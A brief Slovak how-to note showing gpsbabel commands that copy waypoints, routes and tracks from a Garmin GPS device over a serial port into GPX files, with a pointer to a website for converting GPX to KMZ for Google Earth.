seria nasledujucich prikazov prenesie data z pristroja s nastavenym prenosovym modom garmin do formatu gpx

gpsbabel -D9 -w -i garmin -f /dev/ttyS0 -o gpx -F test_waypoint.gpx
gpsbabel -D9 -r -i garmin -f /dev/ttyS0 -o gpx -F test_route.gpx
gpsbabel -D9 -t -i garmin -f /dev/ttyS0 -o gpx -F test_track.gpx

ak si chceme data prezriet cez google earth, skonvertujeme gpx vystup na pre google earth citatelny format kmz na stranke http://www.gpsvisualizer.com/

bonus : zaujimavy skript na spolahlivu instalaciu google earth
